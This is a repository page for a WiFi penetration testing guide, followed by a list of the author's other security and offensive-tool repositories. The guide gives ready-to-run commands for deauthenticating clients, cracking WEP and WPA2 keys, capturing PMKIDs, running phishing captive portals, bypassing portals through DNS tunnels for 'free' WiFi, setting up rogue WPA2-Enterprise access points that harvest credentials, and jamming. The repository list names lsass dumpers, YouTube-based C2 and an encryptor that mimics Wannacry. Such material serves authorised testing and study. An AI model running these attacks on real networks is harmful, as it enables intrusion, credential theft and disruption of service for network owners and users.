• Stars
    star
    385
  • Rank 110,911 (Top 3 %)
  • Language
    Python
  • Created over 5 years ago
  • Updated 10 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

WiFi Penetration Testing Guide

WiFi Penetration Testing Guide

Index

  1. Basic commands

  2. Open networks

    2.1. Captive portals

    2.2. Man in the Middle attack

  3. WEP cracking

    3.1. No clients

  4. WPA2-PSK cracking

    4.1. Cracking the 4-way-handshake

    4.2. PMKID attack

  5. WPA2-Enterprise

    5.1. Fake Access Points

    5.2. Brute force

    5.3. EAP methods supported

  6. Other attacks

    6.1. Krack Attack and Frag Attack

    6.2. OSINT

    6.3. Wifi Jamming

    6.4. Other frameworks

  7. Post-exploitation

    7.1. Attacking the router

    7.2. Types of scanners

    7.3. Spoofing



1. Basic commands

Set environment variable

VARIABLE=value

Check interface mode

iwconfig $IFACE

Check interface status

ifconfig $IFACE

Set monitor mode

airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up

List networks

  1. Set monitor mode

  2. Run Airodump-ng-ng

airodump-ng $IFACE -c $CHANNEL -e $ESSID

Deauthentication

  1. Only one client
 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE
  1. An Access Point (= all the clients in the AP)
 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE

Get hidden SSID with clients

  1. List networks

List the networks using Airodump-ng and get the AP's MAC address ($AP_MAC) and one from a client ($CLIENT_MAC). Do not stop the capture.

  1. Deauthenticate

In another terminal, deauthenticate a client or all of them. When Airodump-ng captures a handshake from this network, the name or ESSID will appear in the first terminal:

aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

Get hidden SSID without clients

  1. List networks

List the networks using Airodump-ng and get the AP's MAC address ($AP_MAC) and one from a client ($CLIENT_MAC). Do not stop the capture.

2.a. Execute a dictionary attack

mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH

2.b. Or execute a bruteforce attack

mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET

For the character set it is possible to use l (lowercase letters), u (uppercase letters), n (numbers), c (lowercase+uppercase), m (lowercase+uppercase+numbers) or a (all printed).



2. Open networks

2.1. Captive portals

2.1.1. Fake captive portals

  1. Clone a website using HTTrack

  2. Install Wifiphiser. Add the HTTrack result in a new folder in wifiphisher/data/phishing-pages/new_page/html and a configuration file in wifiphisher/data/phishing-pages/new_page/config.ini.

  3. Recompile the project using python setup.py install or the binary in bin.

  4. This command works correctly in the latest Kali release after installing hostapd:

cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE

2.1.2. Bypass 1: MAC spoofing

The first method to bypass a captive portal is to change your MAC address to one of an already authenticated user

  1. Scan the network and get the list of IP and MAC addresses. You can use:
  • nmap

  • A custom script like this (Bash) or this (Python)

  1. Change your IP and MAC addresses. You can use:
  • macchanger

  • A custom script like this(Bash)

Also, you can use scripts to automate the process like:


2.1.3. Bypass 2: DNS tunnelling

A second method is creating a DNS tunnel. For this, it is necessary to have an accessible DNS server of your own. You can use this method to bypass the captive portal and get "free" Wifi in hotel, airports...

  1. Check the domain names are resolved:
nslookup example.com
  1. Create 2 DNS records (in Digital ocean, Afraid.org...):
  • One "A record": dns.$DOMAIN pointing to the $SERVER_IP (Example: dns.domain.com 139.59.172.117)

  • One "NS record": hack.$DOMAIN pointing to dns.$DOMAIN (Example: hack.domain.com dns.domain.com)

  1. Execution in the server
iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN
  1. Check if it works correctly in here

  2. Execution in the client

iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN
  1. Create the tunnel
ssh -D 8080 [email protected]

2.2. Man in the Middle attack

Once you are in the network, you can test if it is vulnerable to Man in the Middle attacks.

  1. ARP Spoofing attack using Ettercap

  2. Sniff the traffic using Wireshark or TCPdump

  3. Analyze the traffic using PCredz (Linux) or Network Miner (Windows)



3. WEP cracking

  1. Start capture
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE
  1. Accelerate the IV capture using Fake authentication + Arp Request Replay Attack + Deauthenticate user. Stop Airodump at ~100.000 different IVs
aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE
  1. Crack the password using Aircrack-ng
aircrack-ng $PCAP_FILE


4. WPA2-PSK cracking

4.1. Cracking the 4-way-handshake

  1. Start capture
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE
  1. Deauthenticate an user. Stop airodump capture when you see a message 'WPA handshake: $MAC'
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE
  1. Option 1: Crack the handshake using Aircrack-ng
aircrack-ng -w $WORDLIST capture.cap

You can get wordlists from here.

  1. Option 2: Crack the handshake using Pyrit
pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db

4.2. PMKID attack

You can use this script or follow these steps:

  1. Install Hcxdumptool and Hcxtool (you can use this script).

  2. Stop Network Manager

airmon-ng check kill

3a. If you want to attack a specific MAC address

  • Create a text file ($FILTER_FILE) and add the MAC address without ":". You can use sed and redirect the output to a file:
echo $MAC | sed 's/://g' > $FILTER_FILE
  • Capture PMKID
hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2
  1. Create $HASH_FILE
hcxpcaptool -z $HASH_FILE $PCAPNG_FILE

The structure of each line is: PMKID * ROUTER MAC * STATION * ESSID (check at: https://www.rapidtables.com/convert/number/hex-to-ascii.html)

  1. Crack it using Hashcat (option 16800)
hashcat -a 0 -m 16800 $HASH_FILE $WORDLIST --force


5. WPA2-Enterprise

5.1 Fake Access Points

Virtual machines download

Operating system Platform Credentials Size Link
Ubuntu 16.04.5 VMware ricardojoserf:wifi 3.25 GB MEGA
Kali 2019.1 VMware root:wifi 4.99 GB MEGA
Ubuntu 16.04.5 VirtualBox (OVA) ricardojoserf:wifi 3.18 GB MEGA
Kali 2019.1 VirtualBox (OVA) root:wifi 5.56 GB MEGA

Local installation

In case you do not want to use the virtual machine, you can install everything using:

git clone https://github.com/ricardojoserf/WPA_Enterprise_Attack

cd WPA_Enterprise_Attack && sudo sh install.sh

Hostapd & Freeradius-wpe

Start the Access Point using:

sh freeradius_wpe_init.sh $AP_NAME $INTERFACE

When a client connects, read logs with:

sh freeradius_wpe_read.sh

Hostapd-wpe

sh hostapd_wpe_init.sh $AP_NAME $INTERFACE

5.2 Brute force

5.3 EAP methods supported

Find supported EAP methods



6. Other attacks

6.1. Krack Attack and Frag Attack

These are two advanced attacks discovered by the great Mathy Vanhoef:

6.2. OSINT

6.3. Wifi Jamming

  • Wifijammer - This program can send deauthentication packets to both APs and clients.

An example to deauthenticate all the devices except a Fake Acess Point:

sudo ./wifijammer -i $IFACE -s $FAKE_AP_MAC

6.4. Other frameworks

Linux:

  • Sniffair
  • Wifi Pumpkin - Framework for Rogue WiFi Access Point Attack
  • Eaphammer - Framework for Fake Access Points
  • WEF - Framework for different types of attacks for WPA/WPA2 and WEP, automated hash cracking and more

Windows:



7. Post-exploitation

Once you are connected to the network

7.1. Attacking the router

  • Routersploit - Exploitation Framework for Embedded Devices - Test "use scanners/autopwn"

7.2. Types of scanners

  • Nmap/Zenmap - Security Scanner, Port Scanner, & Network Exploration Tool

  • Masscan - The faster version of nmap (it can break things, so be careful)

  • Netdiscover - ARP sniffing. Very useful if the networks are very well segmented

7.3. Spoofing

  • Ettercap - Check if you can do a MitM attack and sniff all the traffic in the network

More Repositories

1

instagram-followers-bot

A bot for Instagram. You can follow users using a tag or in a specific location, unfollow those who dont follow-you-back, and follow-back those who follow you
Python
458
star
2

NativeDump

Dump lsass using only Native APIs by hand-crafting Minidump files (without MinidumpWriteDump!)
C#
302
star
3

WhoamiAlternatives

Different methods to get current username without using whoami
C#
172
star
4

adfsbrute

A script to test credentials against Active Directory Federation Services (ADFS), allowing password spraying or bruteforce attacks.
Python
160
star
5

covert-tube

Youtube as covert-channel - Control systems remotely and execute commands by uploading videos to Youtube
Python
105
star
6

twitter-followers-bot

A bot for Twitter. You can follow users in a specific location or tweeting specific words and unfollow those who do not follow you back (and are not included in whitelist.txt). Also generates REPORTS!
Python
63
star
7

covert-control

Google Drive, OneDrive and Youtube as covert-channels - Control systems remotely by uploading files to Google Drive, OneDrive, Youtube or Telegram
Python
63
star
8

SharpCovertTube

Youtube as C2 - Control Windows systems uploading videos to Youtube
C#
61
star
9

wpa2-enterprise-attack

Virtual machines and scripts to attack WPA2-Enterprise networks through Rogue Access Points downgrading the authentication method to GTC
Shell
48
star
10

instagram-user-id

Get the user ID of any user in instagram
Python
32
star
11

http-protocol-exfil

Exfiltrate files using the HTTP protocol version ("HTTP/1.0" is a 0 and "HTTP/1.1" is a 1)
Python
23
star
12

p-invoke.net

P/Invoke definitions from the now offline pinvoke.net - Website: https://www.p-invoke.net/
18
star
13

spotify-playlist-downloader

Downloading Spotify Playlists
Python
18
star
14

ddos_simulation

DDoS simulation written in Python using "scapy" and "multiprocessing" libraries. Used for educational purposes
Python
17
star
15

OSED-prep

Exploits written while preparing for the OSED exam
Python
17
star
16

subdoler

Easy subdomain finder from a list of company names, IP ranges or domains.
Python
16
star
17

slae32

The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec
Python
16
star
18

Tinder-Searcher-and-DB-creation

Tinder user searcher and DB creation. Proof of concept for Tinder security team
Python
15
star
19

vulnserver-exploits

Vulnserver exploits
Python
14
star
20

ntds-analyzer

A tool to analyze Ntds.dit files once the NTLM and LM hashes have been cracked.
Python
12
star
21

SharpObfuscate

Obfuscate payloads using IPv4, IPv6, MAC or UUID strings
C#
11
star
22

s7-parser

Parser of the industrial protocol S7 (S7comm) using Libpcap
C
11
star
23

Portswigger-Labs

All Apprentice and Practitioner-level Portswigger labs
9
star
24

SSSD-creds

Script to extract the cached credentials from SSSD, getting Active Directory credentials from Unix systems
Shell
9
star
25

triangle-position

Triangle a coordinate given 3 or 4 coordinates
Python
8
star
26

SharpNado

Repository to gather all .NET malware related code snippets or programs I will develop
8
star
27

MinidumpParser

C# program to parse Microsoft Minidump files and their streams
C#
7
star
28

omrs-rce-exploit

Online Marriage Registration System (OMRS) 1.0 - Remote code execution
Python
7
star
29

arduino-rubber-ducky-scripts

david hasselhoff wallpaper using arduino pro micro
C++
7
star
30

pywisam

A Wifi pentesting framework written in Python
Python
7
star
31

jeringuilla

Process injection framework in C#. It uses dynamic function loading using delegates and AES-encryption for strings and payloads
C#
7
star
32

SharpNtdllOverwrite

Overwrite ntdll.dll's ".text" section to bypass API hooking. Getting the clean dll from disk, Knowndlls folder, a debugged process or a URL
C#
6
star
33

instagram-liker-all-posts

Like all posts of a user given the username in Instagram
Python
6
star
34

ubucryptor

File encryptor and decryptor in Linux with Python. Using the same file extensions than Wannacry
Python
6
star
35

github-bot

Easy bot for starring or branching a huge number of repositories. Using pyGithub
Python
6
star
36

webmin-tor-bruteforce

Script to bruteforce Webmin allowing to rotate the IP address using Tor
Python
6
star
37

textpattern-exploit-rce

Textpattern <= 4.8.3 Remote code execution (Authenticated)
Python
6
star
38

LM_original_password_cracker

Having the NTLM and a cracked LM hash it is possible to get the original password by testing all the combinations of upper and lowercases. This is useful if a ntds.dit file has both NTLM and LM hashes
Python
6
star
39

SharpSelfDelete

PoC to self-delete a binary in C#
C#
5
star
40

SharpProcessDump

Dump memory regions of a process using NtQueryVirtualMemory and NtReadVirtualMemory
C#
5
star
41

GetProcAddress

GetProcAddress implementation in C# walking the PEB using only ReadProcessMemory
C#
5
star
42

coinhive-example

Easy example using Coinhive in a simple page
HTML
5
star
43

google-recaptcha-bypass

Trying to bypass Google Recaptcha. Different approaches in every commit, most of them not working heheh D:
Python
5
star
44

CVE-2019-19033

CVE-2019-19033 description and scripts to check the vulnerability in Jalios JCMS 10 (Authentication Bypass)
Python
4
star
45

StealthyEnv

Stealthier alternative to whoami.exe in C#, it gets environment variables from PEB (PRTL_USER_PROCESS_PARAMETERS)
C#
4
star
46

username-generator

Generate list of possible usernames for attacks such as password spraying
Python
4
star
47

mlhe_psnr

It converts (MP4 -> YUV) and (MP4 -> MLHE -> YUV). Then it calculates the PSNR
Python
4
star
48

NoSQL-injection-example

MongoDB injection example
JavaScript
4
star
49

ipv4info_scraper

Get the IP blocks and domains from a company name by scrapping IPv4info
Python
4
star
50

SharpEA

Read, write and delete Extended Attributes (EAs) within NTFS, to hide malicious payloads
C#
4
star
51

GetModuleHandle

GetModuleHandle implementation in C# using only NtQueryInformationProcess by walking the PEB
C#
4
star
52

nodejs_webshell

Node.js webshell created using AngularJS. It is a MEAN app (MongoDB + Express + AngularJs + Node.js) with a CLI in a text box
HTML
4
star
53

lsass-dumper

Dump lsass.exe generating a file with the hostname and date in txt format using C++.
C++
4
star
54

CVE-2021-31159

Zoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration (CVE-2021-31159) - https://ricardojoserf.github.io/CVE-2021-31159/
Python
4
star
55

SharpADS

Read, write and delete Alternate Data Streams (ADS) within NTFS, to hide malicious payloads
C#
3
star
56

botnet-ssh-control

Botnet Command and Control (C&C) controlled via SSH. Based in Paramiko library
Python
3
star
57

wordpress-custom-bruteforce

Script to bruteforce Wordpress allowing to rotate the IP address using Tor
Python
3
star
58

CESP-ADCS-cheatsheet

Cheatsheet for Altered Security's CESP ADCS course
3
star
59

twitter-detector

Create a Twitter listener to detect people tweeting specific words or in a location, then analyze the users data.
Python
3
star
60

instagram-access-token

Get the access token of your Instagram App
Python
3
star
61

elgamal-golang

A Golang implementation of Elgamal algorithm: encryption, decryption and signature generation and verification
Go
3
star
62

dni-spain-wordlist

DNI (Spanish ID card) generator and wordlists
Python
3
star
63

CVE-2021-40845

AlphaWeb XE, the embedded web server running on AlphaCom XE, has a vulnerability which allows to upload PHP files leading to RCE once the authentication is successful - https://ricardojoserf.github.io/CVE-2021-40845/
Python
3
star
64

dns-exfiltration

Notes and custom scripts for DNS exfiltration
Python
2
star
65

random

Random stuff
PowerShell
2
star
66

pylangame

Game to learn vocabulary in any language using Google Translator API
Python
2
star
67

textpattern-bruteforce

Script to bruteforce websites using TextPattern CMS.
Python
2
star
68

rop-emporium-exploits

Rop Emporium - Exploits and brief Walkthroughs
Python
2
star
69

lsass-dumper-csharp

Custom lsass.exe dump using C#: XOR-encoding, Dynamic function resolution, using NTAPIs...
C#
2
star
70

GetModuleHandleRemote

GetModuleHandle implementation in C# for remote processes using only NTAPIs
C#
1
star
71

ricardojoserf.github.io

My blog :)
SCSS
1
star
72

goNtdllOverwrite

Overwrite ntdll.dll's ".text" section to bypass API hooking. Getting the clean dll from disk, Knowndlls folder or a debugged process
Go
1
star
73

writeups

Vulnhub and HTB writeups
Python
1
star
74

GetProcessByName

Get process handle(s) from process name using NtGetNextProcess and GetProcessImageFileName
C#
1
star
75

url-storing-android-app

App for storing urls (developed in ~2014)
Java
1
star
76

location-android-app

Location Android Application (developed in the summer of 2017)
Java
1
star
77

teleasistencia-App_PE

App Android y Procesador de Eventos para un sistema de Teleasistencia
HTML
1
star
78

GuardPagesHooking

C# implementation of Guard Pages API Hooking
C#
1
star
79

elgamal-python

A Python implementation of Elgamal algorithm: encryption, decryption and signature generation and verification
Python
1
star
80

non-ms-binaries

Code snippet to create a process using the "PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON" flag
C#
1
star
81

niidoru

Framework for Process Injection in Windows using Go
Go
1
star
82

go-GetProcessByName

Get process handle(s) from process name using NtGetNextProcess and GetProcessImageFileName
Go
1
star
83

twitter-database-generation

Twitter database generation using Tweepy libraries
Python
1
star
84

sitc_nahr

Twitter Sentiment Anallysis for SITC
Jupyter Notebook
1
star
85

global-app

App developed for a bus company in 2014 using Apache Cordova ,updated in 2017. Sending a request to an url and scraping the response
CSS
1
star
86

file-hider

Hide your files in infinite folders. It creates one folder for every character recursively, so the true file gets stored in the initial route and in the other folders a fake file (with the same name and size) gets stored.
Python
1
star